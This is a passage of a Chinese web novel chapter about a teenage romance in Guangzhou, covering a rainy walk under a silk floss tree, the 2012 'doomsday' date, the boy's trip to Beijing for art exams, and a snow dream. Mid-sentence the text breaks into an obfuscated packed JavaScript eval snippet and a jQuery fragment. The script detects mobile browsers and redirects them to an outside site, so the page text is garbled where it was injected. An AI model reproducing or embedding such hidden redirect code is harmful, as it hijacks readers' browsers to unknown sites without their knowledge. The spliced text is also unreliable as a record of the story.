喻谣有些惊讶地抬头，看到周昀霁也抬着头，在看伞面前方的树冠。
树枝被雨水拍打的瑟瑟，她只看到了周昀霁带棱角的下颌线和修长的脖颈。
看到他的喉结旁边还有一颗小痣。
“你之前站在这里的时候都在做什么？”喻谣问他。
周昀霁沉默片刻：“交流。”
“……”
如果是往常，喻谣一定又要骂他神经，今天却觉得自己稍微有些可以共情。
“交流什么？”她问道。
周昀霁这才低头，看到她被细雨淋湿的脸颊似是蒙上了一层水雾，却也遮盖不住富有活力的红润气色，还有她的眼睛，像素描课画静物时练习过的杏仁核，扑簌簌的睫毛也都沾满了晶莹的水珠。
“我问它，究竟是谁比较叛逆，又是逃课、又是早恋？”
...
喻谣白了他一眼，就知道不能跟这人太正经的讲话。
煞风景。
“你怎么知道我在这里？”看他不如看大树，喻谣重新抬头，有一搭没一搭跟他闲聊。
周昀霁指了指远处教学楼的窗户，道：“我发现从教室那边看过来，站在这棵树前确实很显眼。”
是这样的，所以之前喻谣才总是会在课间注意到周昀霁站在这里的身影，这棵树生的高大美艳，而且很有个性，在其他树木开始树叶枯黄、树枝光秃的季节独自开出艳丽的花朵，只伫立在这里就很招摇。
“知道这是什么树吗？”
“美丽异木棉。”周昀霁回答她，“也叫美人树。”
果然，连名字也很招摇。
击打伞面的雨声忽地变得急促，树枝也更加剧烈地一阵摇摆，雨势变大了。周昀霁向前迈步，将喻谣更妥帖地拢在伞面之下，“好了，叛逆够了就回去吧，语文课你也逃？”
喻谣叹了口气，声音很小，“就是语文课才想逃...”
她的刘海被雨打湿了，软趴趴贴在光洁好看的额头，周昀霁抬起手指轻轻揉搓了一下，让聚拢的发丝重新四散开来，然后盯着她垂下的眉眼看了一会。
“心情不好？”他问道：“你心情不好的时候都会想做什么？”
喻谣的心思被他带着凉意的手指拨弄了几下，同站在一顶伞面之下，他们的距离很近，她一抬眼就又望进了他眼睛里的湖水里去。
“你猜猜？”喻谣说道。
近距离来看，周昀霁的眼睛真的很像狐狸，尤其是在这种时刻，本就有些上扬的眼尾微微蹙起，很容易就让人相信这人可以理解自己。
“做这个，怎么样？”他把没拿伞的那一只手从裤兜里拿了出来，摊开放在她面前。
喻谣愣了一下，呼吸急促了一瞬，继而才视线下移，看向他的手掌。
他的手指修长，掌心宽大，是很适合弹钢琴的一双手，而此刻更容易吸引人目光的，是躺在他手心里的一小块橘色立方体。
一块真知棒香橙味硬糖。
“！”喻谣震惊，“你怎么知道我爱吃这个！”
周昀霁慢悠悠道：“你很难猜吗？”
说着他勾起嘴角，把糖递给她，接着又说：“不过我确实没搞明白为什么你从小在卢老师和喻叔叔的熏陶下长大，语文还会这么不开窍，这明明是最浪漫的学科了。”
喻谣把糖塞进嘴里，美妙的香橙味瞬间抚平了她今天突如其来的伤春悲秋，她提出质疑，“...什么浪漫？哪里浪漫了？”
怎么会有人用这样的形容词形容万恶的语文...
周昀霁想了想，“夜雨涨秋池，巴山夜雨时，不浪漫吗？”
？
怎么还吟上诗了？真受不了。
喻谣摇头，“我觉得还是氢氦锂铍硼，碳氮氧氟氖比较浪漫...”
“...”
周昀霁无奈：“行，你赢了，大学霸。”
说完他向教学楼的方向扬了扬下巴，道：“下大了，快走。”
一把黑伞之下一高一低的身影刚刚离开树下，一阵窸窣在身后响起，喻谣回头，看到不堪雨水重压的一朵朵异木棉花纷纷扬扬地落下，一朵一朵、一簇一簇，像是在大雨之下又兀自下起一场花雪。
“好漂亮...”她情不自禁说道。
但美丽只此一瞬，更多的花朵继续坚韧地立于枝头，被雨滴拍的摇摇晃晃也依旧坚守。
喻谣抬头看了看身边的周昀霁，看他也伫立回望，看着那棵美人树出神，似乎也被刚才一刹的风景触动了。
周昀霁的校服外套没有拉拉链，里面的白衬衣解开了一颗扣子，他的皮肤很白，睫毛上落了细密的雨雾，随着眨动而微微颤抖。
花草的香气似乎不是来自于身后的异木棉，而是就在这片伞下，来自她的身边，来自周昀霁的白色衬衫。
喻谣这才突然意识到周昀霁站在这片风景里是极为相配的，比周昀霁出现在马路边、早餐摊要更适配，就像是一幅油画里事先就构思好的主人公。
“你见过下雪吗？”她突然问道。
周昀霁思考了片刻，继而摇摇头。
“我也没有...”
喻谣想起了那部电影《剪刀手爱德华》，那个电影里虚构出的郊区小镇也像广州一样从不下雪，但在爱德华到来之后，每年圣诞节都亲自为女主角金造一场漫天飞雪，只为看她在大雪之中恣意起舞。
在此情此景之下，喻谣终于后知后觉体会到了这电影画面的浪漫之处。
“好希望能看一场真正的大雪啊。”她少有的讲出了一句富有浪漫主义的少女的祈祷。
不太常听喻谣讲这样的台词，周昀霁有些恍惚地愣了一下，随后低头看她，目光沉沉的。
“会有机会的。”
他没什么根据却莫名笃定地承诺道。
*
广州的秋天稍纵即逝，转眼就到了期末。
这一年的冬天令很多人印象深刻，特殊的记忆点来自于一个特殊的日子。
根据玛雅圣典《波波尔·乌》记载，我们所处的第五太阳纪将于公元2012年12月21日完成宏大循环。这一天，太阳将与银河系中心连成一线，形成银河对齐，宇宙射线将冲刷地球。
俗称，世界末日。
而这一天，也是周昀霁出发去北京参加艺考的日子。
周宏光临时有会议没能赶回广州，本来周昀霁是打算自己去火车站的，但奈何卢清芬和喻信鸿都觉得这种日子让孩子自己出发不够吉利，非要一起送站，周昀霁推脱再三，盛情难却。
这一天是个周五，也是冬至，喻谣偷偷带手机去了学校，卡着周昀霁上火车的时间给他发消息。
喻谣：【你上车了吗？】
周昀霁很快就回复：【嗯。】
过了几秒又一条：【好好上课。】
喻谣偷感很重地抬头瞄了一眼黑板，看到老师背对着同学，正沉浸在自己的解题艺术中无法自拔，暂时安全。
喻谣：【知不知道今天是什么日子？】
对面沉默了一会：【玛雅人被消费主义利用了的日子。】
...这人，没意思。
喻谣：【你不信？】
周昀霁：【你信？】
喻谣：【我觉得我会去天堂。】
周昀霁：【......地狱也未必可怕。】
【是吗？你怎么知道地狱会是什么样子？】
【听没听说过一种说法，他人即地狱，被他人凝视被迫背负他人的定义而活的地方才是地狱。】
【哦，听不懂...】
喻谣有一句没一句地跟周昀霁闲扯，听这些周昀霁偶尔会说起把她听得云里雾里的话，想象此刻坐在北上列车上的他在做什么，窗外掠过的会是什么样的风景。
【周昀霁，今天过后我不会就再也见不到你了吧？】
这次周昀霁有好一会没回，停在这里有些不合时宜，喻谣把手伸进桌洞戳亮了好几次屏幕，又做了好几道立体几何题，才又收到他的回复：
【抱歉，这事怕是不能让你如愿了。】
没有人察觉到的，喻谣的嘴角沿着好看的上扬弧度微微勾起。
她看向窗外，在猜想今天第五太阳纪的黄昏之后，到来的将会是怎样全新的时代。
说来也怪，之前周昀霁总是在身边晃来晃去的时候没什么感觉，但这突然一离开，在喻谣心里的存在感反而强了起来。
吃午饭的时候，唐一巧就感觉她一直心不在焉。
“怎么了？”
之前她在得知喻谣隐瞒跟周昀霁的关系之后感受到了深深的背叛，倒不是她真对周昀霁有什么想法，只是生气喻谣竟然如此一视同仁，连对她也不提前透露任何内部消息，在这之后喻谣连续请她吃了一周的钵仔糕才勉强消气。
但现在每每提起这事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490847|185854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还总爱阴阳怪气，“你昀霁哥哥才走一天，你就茶不思饭不想了？”
猛的在食堂听到周昀霁的名字，喻谣还是条件反射般的一激灵，不知道在心虚什么的左顾右盼，示意唐一巧小点声音。
“干嘛啊？陈州事件给你留下这么深的阴影？”唐一巧笑她。
喻谣连连叹气，筷子也垂头丧气摇摇晃晃地夹起一整个鸡腿，“怕了怕了，我现在决定清心寡欲、不惹凡尘了。”
唐一巧大笑，“你不惹凡尘了，那周昀霁难道是什么天仙吗哈哈哈哈哈。”
声音比刚才更大，说的话也更离谱了。
喻谣筷子往餐盘上一放，赶紧一把捂住她的嘴，“你怎么今天这么奇怪！干嘛一直老提他。”
“唔...到底是谁奇怪谁自己心里清楚”，唐一巧见她竟然贼喊捉贼，嘴巴被捂着也要含糊不清地继续说：“你敢说你没在想他？”
想他？怎么可能？别开玩笑了！
喻谣在心里不屑，她觉得自己只是一时有些不太习惯。
习惯可真是个可怕的东西，她甚至自己都没有意识到是什么时候就悄无声息地养成了这个习惯。
更没想到的是，到了晚饭的饭桌，她们一家人整整齐齐都被习惯这个东西掌控了，集体在饭桌上失神。
喻信鸿的感觉尤为明显，从做饭的时候就觉得哪哪都不对劲，吃饭的时候更是因为没人再那样夸夸而食之无味。
“哎”，三个人总是异口同声的。
“之前还没觉得”，卢清芬也感慨，“家里少了一个人瞬间就冷清了好多。”
“是啊”，喻信鸿附和：“之后等昀霁高考完，去北京读大学，还指不定要多么不习惯呢。”
周昀霁只是在喻谣家吃了将近一学期的晚饭，竟然就凭借其过人的社交本领把喻谣爸妈双双拿下，不得不称其一句高手。
“到时候只能逢年过节等他回家的时候再喊来吃饭了。”卢清芬道。
喻谣瞥了一眼垂头丧气的爸妈，撇了撇嘴，嘀咕道：“你们可真夸张。”
说完猛戳了一筷子她平时并不喜欢的清炒菜心，一口气全都吞了。
晚饭后回到房间，喻谣打算通过短信传达一下父母对这个家庭编外人员的思念，刚打开屏幕，就惊喜地发现有一条五分钟前来自周昀霁的消息，带着一点期待地戳开：
【我到了，北京好冷。】
还跟着一个发抖的小雪人的动态图像。
喻谣抱着手机倒到床上，用手指戳了戳屏幕上的小雪人，想了一会才回复：
【那你有没有多穿一点？】
她在床上打了个滚，趴在床上继续发：
【住在哪里啊？】
【我爸妈因为你不在吃饭都不香了，你说你是不是个害人精？】
手机“嘟嘟”两声，对面很快回复：
【就住在中戏考场附近。】
【明天就要考试了，你就是这么祝福我的？】
喻谣也觉得不太妥当，坐起身来，认认真真写道：【那就祝周导明天文思泉涌、妙笔生花，早日为中国电影事业发展作出自己的贡献！】
她盯着手机看了一会，几秒之后就收到一个狗头图案，还有一句：【傻不傻啊？】
紧接着又是一条：
周昀霁：【我知道了，谢谢阿谣。】
那一晚喻谣做了一个梦，梦里是漫无边际的白雪皑皑，视野尽头的白雪已与天际线融为混沌一片，本该在北京的周昀霁却突然又出现在这片极寒之地，只他一人，脚步深深浅浅地向着雪地深处走去。
不知道他是不是向着什么目标，但他走的那样坚定，任喻谣在身后怎样呼喊也不曾回头。
喻谣也想陪他进到这片雪中，却进不去，只能就这样看着眼前的人影渐行渐远，逐渐化为星点，再化为乌有。
梦醒之后，喻谣出了一身的冷汗，觉得有些莫名，但又觉得在这种时候做这种梦不算什么太好的兆头，便没有跟任何人说。之后几天，听说周昀霁考试顺利才松了口气，这件事也就被她自己抛在了脑后。
直到一周之后，喻谣在新闻中得知，北京即将迎来一场多年罕见的大雪，且预测雪势将要持续多天。
电视新闻报道里的雪景突然与她的梦境重合，她不由心头一紧。
冥冥之中，似是有什么命运的安排按照预先透露给她的那样，不由分说地向她靠近。